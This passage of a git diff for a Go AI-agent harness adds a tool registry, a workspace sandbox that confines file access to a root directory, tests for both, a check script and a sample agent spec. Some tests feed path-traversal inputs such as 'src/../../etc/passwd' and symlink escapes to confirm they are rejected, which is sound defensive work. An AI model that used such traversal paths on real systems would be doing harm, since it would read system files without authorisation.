%s: incomplete definition", e.Name())) + } + if _, dup := reg[def.Name]; dup { + panic(fmt.Sprintf("tool def %s: duplicate name %q", e.Name(), def.Name)) + } + reg[def.Name] = def + } + return reg +} + +// Get returns a tool definition by name. +func Get(name string) (Def, bool) { + def, ok := registry[name] + return def, ok +} + +// Names lists all registered tool names, sorted. +func Names() []string { + names := make([]string, 0, len(registry)) + for name := range registry { + names = append(names, name) + } + sort.Strings(names) + return names +} + +// ProviderDefs renders the named tools into wire-level provider defs, +// erroring on unknown names (spec validation should have caught them). +func ProviderDefs(names []string) ([]provider.ToolDef, error) { + defs := make([]provider.ToolDef, 0, len(names)) + for _, name := range names { + def, ok := registry[name] + if !ok { + return nil, fmt.Errorf("unknown tool %q", name) + } + defs = append(defs, provider.ToolDef{ + Name: def.Name, + Description: def.Description, + InputSchema: def.InputSchema, + }) + } + return defs, nil +} diff --git a/internal/tool/tool_test.go b/internal/tool/tool_test.go new file mode 100644 index 0000000..574fd0e --- /dev/null +++ b/internal/tool/tool_test.go @@ -0,0 +1,45 @@ +package tool + +import ( + "reflect" + "strings" + "testing" +) + +func TestRegistryLoads(t *testing.T) { + want := []string{"bash", "edit_file", "exit_plan_mode", "finish_series", "handoff_agent", "publish_artifact", "publish_note", "read_file", "read_notes", "schedule_next", "spawn_agent", "task_kill", "task_output"} + if got := Names(); !reflect.DeepEqual(got, want) { + t.Fatalf("Names() = %v, want %v", got, want) + } + + def, ok := Get("bash") + if !ok || def.Class != ClassExecute { + t.Errorf("bash def = %+v, ok=%v", def, ok) + } + if def, _ := Get("read_file"); def.Class != ClassRead { + t.Errorf("read_file class = %q", def.Class) + } + if def, _ := Get("edit_file"); def.Class != ClassEdit { + t.Errorf("edit_file class = %q", def.Class) + } + if def, _ := Get("exit_plan_mode"); def.Class != ClassWait { + t.Errorf("exit_plan_mode class = %q", def.Class) + } +} + +func TestProviderDefs(t *testing.T) { + defs, err := ProviderDefs([]string{"read_file", "bash"}) + if err != nil { + t.Fatal(err) + } + if len(defs) != 2 || defs[0].Name != "read_file" { + t.Fatalf("defs = %+v", defs) + } + if !strings.Contains(string(defs[0].InputSchema), `"path"`) { + t.Errorf("schema not carried: %s", defs[0].InputSchema) + } + + if _, err := ProviderDefs([]string{"nope"}); err == nil { + t.Fatal("expected unknown tool error") + } +} diff --git a/internal/workspace/workspace.go b/internal/workspace/workspace.go new file mode 100644 index 0000000..e2b0bf2 --- /dev/null +++ b/internal/workspace/workspace.go @@ -0,0 +1,89 @@ +// Package workspace enforces the filesystem boundary all file-class tools +// must pass through (STAGES 钩子 1). Nothing in the harness touches the +// filesystem on the agent's behalf without resolving through here. +package workspace + +import ( + "fmt" + "os" + "path/filepath" + "strings" +) + +// Workspace is a rooted directory with realpath boundary checks. +type Workspace struct { + root string // absolute, symlink-resolved +} + +// New builds a Workspace rooted at dir. +func New(dir string) (*Workspace, error) { + abs, err := filepath.Abs(dir) + if err != nil { + return nil, fmt.Errorf("workspace root %s: %w", dir, err) + } + resolved, err := filepath.EvalSymlinks(abs) + if err != nil { + return nil, fmt.Errorf("workspace root %s: %w", dir, err) + } + info, err := os.Stat(resolved) + if err != nil { + return nil, fmt.Errorf("workspace root %s: %w", dir, err) + } + if !info.IsDir() { + return nil, fmt.Errorf("workspace root %s: not a directory", dir) + } + return &Workspace{root: resolved}, nil +} + +// Root returns the resolved workspace root. +func (w *Workspace) Root() string { + return w.root +} + +// Resolve maps a tool-supplied path (relative to root, or absolute) to a +// real absolute path, rejecting anything that escapes the workspace after +// symlink and ".." resolution — including paths that do not exist yet +// (their deepest existing ancestor is resolved instead, so a new file +// behind an out-of-tree symlinked directory is still rejected). +func (w *Workspace) Resolve(requested string) (string, error) { + path := requested + if !filepath.IsAbs(path) { + path = filepath.Join(w.root, path) + } + path = filepath.Clean(path) + + resolved, err := resolveWithMissingTail(path) + if err != nil { + return "", fmt.Errorf("resolve %s: %w", requested, err) + } + + if resolved != w.root && !strings.HasPrefix(resolved, w.root+string(filepath.Separator)) { + return "", fmt.Errorf("path escapes workspace: %s -> %s", requested, resolved) + } + return resolved, nil +} + +// resolveWithMissingTail resolves symlinks for the deepest existing ancestor +// of path and re-appends the non-existing remainder. +func resolveWithMissingTail(path string) (string, error) { + var tail []string + current := path + for { + resolved, err := filepath.EvalSymlinks(current) + if err == nil { + for i := len(tail) - 1; i >= 0; i-- { + resolved = filepath.Join(resolved, tail[i]) + } + return resolved, nil + } + if !os.IsNotExist(err) { + return "", err + } + parent := filepath.Dir(current) + if parent == current { + return "", fmt.Errorf("no existing ancestor for %s", path) + } + tail = append(tail, filepath.Base(current)) + current = parent + } +} diff --git a/internal/workspace/workspace_test.go b/internal/workspace/workspace_test.go new file mode 100644 index 0000000..19b38b8 --- /dev/null +++ b/internal/workspace/workspace_test.go @@ -0,0 +1,133 @@ +package workspace + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +func newWS(t *testing.T) (*Workspace, string) { + t.Helper() + root := t.TempDir() + ws, err := New(root) + if err != nil { + t.Fatal(err) + } + return ws, ws.Root() +} + +func TestResolveInside(t *testing.T) { + ws, root := newWS(t) + got, err := ws.Resolve("src/main.go") // does not exist yet — legal for writes + if err != nil { + t.Fatal(err) + } + if want := filepath.Join(root, "src", "main.go"); got != want { + t.Errorf("resolve = %q, want %q", got, want) + } +} + +func TestResolveAbsoluteInside(t *testing.T) { + ws, root := newWS(t) + got, err := ws.Resolve(filepath.Join(root, "a.txt")) + if err != nil { + t.Fatal(err) + } + if want := filepath.Join(root, "a.txt"); got != want { + t.Errorf("resolve = %q, want %q", got, want) + } +} + +func TestDotDotEscapeRejected(t *testing.T) { + ws, _ := newWS(t) + _, err := ws.Resolve("src/../../etc/passwd") + if err == nil || !strings.Contains(err.Error(), "path escapes workspace") { + t.Fatalf("err = %v, want escape rejection", err) + } +} + +func TestAbsoluteOutsideRejected(t *testing.T) { + ws, _ := newWS(t) + _, err := ws.Resolve("/etc/passwd") + if err == nil || !strings.Contains(err.Error(), "path escapes workspace") { + t.Fatalf("err = %v, want escape rejection", err) + } +} + +func TestSymlinkEscapeRejected(t *testing.T) { + ws, root := newWS(t) + outside := t.TempDir() + if err := os.Symlink(outside, filepath.Join(root, "sneaky")); err != nil { + t.Fatal(err) + } + + // Existing target behind the symlink. + if err := os.WriteFile(filepath.Join(outside, "secret.txt"), []byte("x"), 0o600); err != nil { + t.Fatal(err) + } + if _, err := ws.Resolve("sneaky/secret.txt"); err == nil || !strings.Contains(err.Error(), "path escapes workspace") { + t.Fatalf("existing target: err = %v, want escape rejection", err) + } + + // New (not yet existing) file behind the symlinked dir must also reject. + if _, err := ws.Resolve("sneaky/new-file.txt"); err == nil || !strings.Contains(err.Error(), "path escapes workspace") { + t.Fatalf("new target: err = %v, want escape rejection", err) + } +} + +func TestRootItselfResolves(t *testing.T) { + ws, root := newWS(t) + got, err := ws.Resolve(".") + if err != nil { + t.Fatal(err) + } + if got != root { + t.Errorf("resolve(.) = %q, want %q", got, root) + } +} + +// A workspace root that is itself a symlink must resolve consistently: +// Root() and Resolve() both live in the fully-resolved space. +func TestRootSymlinkResolves(t *testing.T) { + real := t.TempDir() + link := filepath.Join(t.TempDir(), "link") + if err := os.Symlink(real, link); err != nil { + t.Fatal(err) + } + ws, err := New(link) + if err != nil { + t.Fatal(err) + } + resolvedReal, _ := filepath.EvalSymlinks(real) + if ws.Root() != resolvedReal { + t.Errorf("Root() = %q, want %q", ws.Root(), resolvedReal) + } + got, err := ws.Resolve("a.txt") + if err != nil { + t.Fatal(err) + } + if got != filepath.Join(resolvedReal, "a.txt") { + t.Errorf("Resolve = %q", got) + } +} + +// /x/ws-evil must not pass a boundary check for root /x/ws (the classic +// HasPrefix-without-separator bug). +func TestSiblingPrefixRejected(t *testing.T) { + parent := t.TempDir() + root := filepath.Join(parent, "ws") + evil := filepath.Join(parent, "ws-evil") + for _, d := range []string{root, evil} { + if err := os.Mkdir(d, 0o755); err != nil { + t.Fatal(err) + } + } + ws, err := New(root) + if err != nil { + t.Fatal(err) + } + if _, err := ws.Resolve(filepath.Join(evil, "f.txt")); err == nil { + t.Fatal("sibling-prefix path must be rejected") + } +} diff --git a/scripts/check.sh b/scripts/check.sh new file mode 100755 index 0000000..a31123f --- /dev/null +++ b/scripts/check.sh @@ -0,0 +1,19 @@ +#!/usr/bin/env bash +# Single gate for "a step is done": formatting, vet, lint, tests. +# Live-tagged tests (-tags live) are intentionally excluded; they run at +# stage-exit human checkpoints (PLAN 0.5 rule 4). +set -euo pipefail +cd "$(dirname "$0")/.." + +unformatted=$(gofmt -l .) +if [[ -n "$unformatted" ]]; then + echo "gofmt: files need formatting:" >&2 + echo "$unformatted" >&2 + exit 1 +fi + +go vet ./... +golangci-lint run +go test ./... + +echo "check.sh: all green" diff --git a/specs/hello.yaml b/specs/hello.yaml new file mode 100644 index 0000000..6d68d4c --- /dev/null +++ b/specs/hello.yaml @@ -0,0 +1,6 @@ +name: hello +model: + provider: gemini + id: gemini-flash-latest +system_prompt: You are a helpful coding agent. +tools: [read_file, edit_file, bash]